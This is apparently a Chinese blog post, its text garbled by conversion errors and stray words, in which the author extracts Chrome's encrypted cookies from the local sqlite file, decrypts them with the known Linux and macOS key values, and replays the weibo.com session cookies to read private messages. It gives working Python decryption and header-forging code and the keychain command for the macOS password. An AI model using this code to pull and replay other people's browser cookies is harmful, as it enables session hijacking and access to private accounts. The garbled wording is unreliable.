记得仍是在学Qt编程的时候,作过一个练手项目,产品是一个搜索Chrome的cookie内容的小软件。Chrome的cookie保存在用户目录的一个sqlite文件中,具体路径上网搜一下就知道了。当时比较天真,想看看cookie里面有没有明文保存的密码,结果固然是获得一堆乱码,最后就不了了之了。
直到前几天,我正在网上看一篇关于cookie的文章,突然想起一件事情,我须要密码的缘由无非是用来登陆,我既然有了cookie直接发给服务器就能够了,又有什么必要了解cookie的内容?我顺手用chrome打开了微博私信查看下它的请求流程:html
貌似理论上没有什么问题,不过仍是要作个试验验证一下,我准备尝试用python写个小程序模拟浏览器向微博服务器发起私信消息的页面请求。python
固然首先仍是让个人小伙伴给我发条私信:linux
整个实验我简单的做了个概念图:web
实验主要分为如下几个步骤:
* 从chrome的sqlite文件中提取cookie
* 模拟浏览器组装header
* 向服务器发起目标页面的请求sql
chrome的cookie保存路径在三大操做系统Windows、Linux和OSX上都不尽相同,以linux为例,它的保存路径就是~/.config/chromium/Default/Cookies
,咱们先用sqlite3程序把这个文件载入进来看看:chrome
cookie信息都保存在表cookies
中,可是才刚开始就出现了意想不到的问题:数据库
表里面的值和记忆中的大部分都是同样的,惟独最重要的value一项,竟然是空的,而在末尾却是多了个encrypted_value
項。谷歌了一下,了解到在chrome版本33以前,cookie都是直接存储的,在33+以后,谷歌开始对cookie的信息进行了加密。顺便感慨下时光飞逝,不知不觉又老了几个版本。chrome在windows上加密采用的是CryptUnprotectData函数,解密方法你们能够看这里。Linux和OSX上的加密方法类似,都采用的是AES(CBC)加密方法,了解密码学的都知道对这个数据进行解密至少须要好几个值,salt,key length,iv,password,iterations等等。不过不幸的是一位国外的网友n8henrie在浏览了chromium源码以后把这些值通通找到了,如下是他原话:编程
b'saltysalt'
16
iv
is 16 bytes of space b' ' * 16
Mac OSX
:password
is in keychain under Chrome Safe Storage
security find-generic-password -w -s "Chrome Safe Storage"
1003
peanuts
1
顺便贴出他给出的源代码(多是原做者的失误,在clean函数中忘记调用了ord函数,特此补上):小程序
#! /usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Protocol.KDF import PBKDF2 # Function to get rid of padding def clean(x): return x[:-ord(x[-1])].decode('utf8') # replace with your encrypted_value from sqlite3 encrypted_value = ENCRYPTED_VALUE # Trim off the 'v10' that Chrome/ium prepends encrypted_value = encrypted_value[3:] # Default values used by both Chrome and Chromium in OSX and Linux salt = b'saltysalt' iv = b' ' * 16 length = 16 # On Mac, replace MY_PASS with your password from Keychain # On Linux, replace MY_PASS with 'peanuts' my_pass = MY_PASS my_pass = my_pass.encode('utf8') # 1003 on Mac, 1 on Linux iterations = 1003 key = PBKDF2(my_pass, salt, length, iterations) cipher = AES.new(key, AES.MODE_CBC, IV=iv) decrypted = cipher.decrypt(encrypted_value) print(clean(decrypted))
我稍微改了下源代码,对上图header里的cookie的第一項尝试进行解密:windows
from Crypto.Cipher import AES from Crypto.Protocol.KDF import PBKDF2 def clean(x): return x[:-ord(x[-1])].decode('utf8') def decrypt(encrypted_value): encrypted_value = encrypted_value[3:] salt = b'saltysalt' iv = b' ' * 16 length = 16 my_pass = 'peanuts' my_pass = my_pass.encode('utf8') iterations = 1 key = PBKDF2(my_pass, salt, length, iterations) cipher = AES.new(key, AES.MODE_CBC, IV=iv) decrypted = cipher.decrypt(encrypted_value) return clean(decrypted) cx = sqlite3.connect(os.path.expandvars('$HOME') + '/.config/chromium/Default/Cookies') cu = cx.cursor() cu.execute("select * from cookies where host_key = '.weibo.com' and name = 'SINAGLOBAL'") res = cu.fetchone() print decrypt(res[len(res)-1])
结果显示n8henrie给出的值确实是正确的,解密成功。
这个值咱们不知道有什么意义,由于原本就不须要,直接把它发给服务器就好,服务器本身知道怎么解密的。
cookie值解密出来以后,感受就像是忽然变成了宿管阿姨,手里握着整栋宿舍的钥匙。
组装header这里比较容易了,基本上照着上面截下来的Chrome的header照抄就行了,不过要注意的是记得把Accept-Encoding:gzip,deflate,sdch
这一项去掉,否则返回的数据是通过压缩的,最后再加上解密出来的cookie,一个完整的header就出来了。
import sqlite3 import urllib2 import os cx = sqlite3.connect(os.path.expandvars('$HOME') + '/.config/chromium/Default/Cookies') cu = cx.cursor() cu.execute("select * from cookies where host_key = '.weibo.com'") cookies = '' for res in cu.fetchall(): cookies += res[2] + '=' + decrypt(res[len(res)-1]) + '; ' url = 'http://weibo.com/messages' header = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', #'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6,ja;q=0.4,zh-TW;q=0.2', 'Cache-Control': 'max-age=0', 'Connection': 'keep-alive', 'Host': 'weibo.com', 'Cookie': cookies, 'User-Agent': 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/40.0.2214.111 Chrome/40.0.2214.111 Safari/537.36' } request = urllib2.Request(url, headers=header)
最后一步发送请求,把返回的数据打开看一下,私信消息已经在里面了。
没想到整个过程还算是比较顺利的,并且仍是在linux平台。随后我又在windows和OSX上进行了试验,windows的解密要更简单一点,而在OSX上获取Chrome Safe Storage
的password
的时候系统提醒须要获取受权,也就是说从目前来看只有苹果系挡住了此次攻击。不得不说cookie确实给咱们带来了太多的便利,可是与此同时也牺牲了太多的安全性,网络发展到今天不少事情已经超出可控的范围,尤为是在中国这种软件氛围,谁知道各大软件产商有什么作不出来的,想要保护好本身,只能靠本身平时多长点心眼了。
最后感谢下caixpp童鞋发了封私信,还有,用完数据库记得close。